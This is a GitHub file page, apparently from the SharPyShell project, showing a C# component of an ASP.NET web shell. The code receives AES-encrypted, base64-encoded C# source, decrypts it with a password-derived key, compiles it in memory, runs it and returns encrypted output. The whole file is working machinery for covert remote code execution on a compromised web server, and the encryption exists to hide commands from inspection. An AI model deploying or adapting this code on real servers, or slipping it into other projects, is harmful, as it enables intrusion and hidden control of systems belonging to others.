-
Notifications
You must be signed in to change notification settings - Fork 144
/
runtime_compiler_aes.cs
101 lines (95 loc) · 3.17 KB
/
runtime_compiler_aes.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
using System;
using System.Text;
using System.IO;
using System.Reflection;
using Microsoft.CSharp;
using System.CodeDom.Compiler;
using System.Security.Cryptography;
public class SharPy{
private byte[] ConvertHexStringToByteArray(string hexString)
{
byte[] data = new byte[hexString.Length / 2];
for (int index = 0; index < data.Length; index++)
{
string byteValue = hexString.Substring(index * 2, 2);
data[index] = byte.Parse(byteValue, System.Globalization.NumberStyles.HexNumber);
}
return data;
}
private byte[] AESEnc(byte[] plain, byte[] Key, byte[] IV)
{
byte[] encrypted;
using (Rijndael rijAlg = Rijndael.Create())
{
rijAlg.Key = Key;
rijAlg.IV = IV;
ICryptoTransform encryptor = rijAlg.CreateEncryptor(rijAlg.Key, rijAlg.IV);
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
{
csEncrypt.Write(plain, 0, plain.Length);
}
encrypted = msEncrypt.ToArray();
}
}
return encrypted;
}
byte[] AESDec(byte[] encrypted, byte[] Key, byte[] IV)
{
byte[] plain;
using (Rijndael rijAlg = Rijndael.Create())
{
rijAlg.Key = Key;
rijAlg.IV = IV;
ICryptoTransform decryptor = rijAlg.CreateDecryptor(rijAlg.Key, rijAlg.IV);
using (MemoryStream msDecrypt = new MemoryStream(encrypted))
{
using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
{
using (StreamReader srDecrypt = new StreamReader(csDecrypt))
{
string sf = srDecrypt.ReadToEnd();
plain = Encoding.UTF8.GetBytes(sf);
}
}
}
}
return plain;
}
public string Run(string code, string password)
{
byte[] Key=ConvertHexStringToByteArray(password);
byte[] IV= new byte[16];
System.Array.Copy(Key, IV, 16);
string output="";
if(code!=null){
byte[] decoded_request_byte=Convert.FromBase64String(code);
byte[] runtime_code_byte=AESDec(decoded_request_byte, Key, IV);
string runtime_code=Encoding.UTF8.GetString(runtime_code_byte);
object runtime_exec_output = new object();
CompilerResults results = null;
try{
CSharpCodeProvider provider = new CSharpCodeProvider();
CompilerParameters compilerParams = new CompilerParameters();
compilerParams.GenerateInMemory = true;
compilerParams.GenerateExecutable = false;
compilerParams.ReferencedAssemblies.Add("System.dll");
results = provider.CompileAssemblyFromSource(compilerParams, runtime_code);
object o = results.CompiledAssembly.CreateInstance("SharPyShell");
MethodInfo mi = o.GetType().GetMethod("ExecRuntime");
runtime_exec_output = mi.Invoke(o, null);
}
catch(Exception exc){
string exc_out_str = exc.ToString()+"\n\n{{{SharPyShellError}}}";
for( int i=0; i<results.Errors.Count; i++ )
exc_out_str += i.ToString() + ": " + results.Errors[i].ToString();
runtime_exec_output=Encoding.UTF8.GetBytes(exc_out_str);
}
byte[] output_runtime_code_enc=AESEnc((byte[])(runtime_exec_output), Key, IV);
string output_runtime_code_enc_b64=Convert.ToBase64String(output_runtime_code_enc);
output=output_runtime_code_enc_b64;
}
return output;
}
}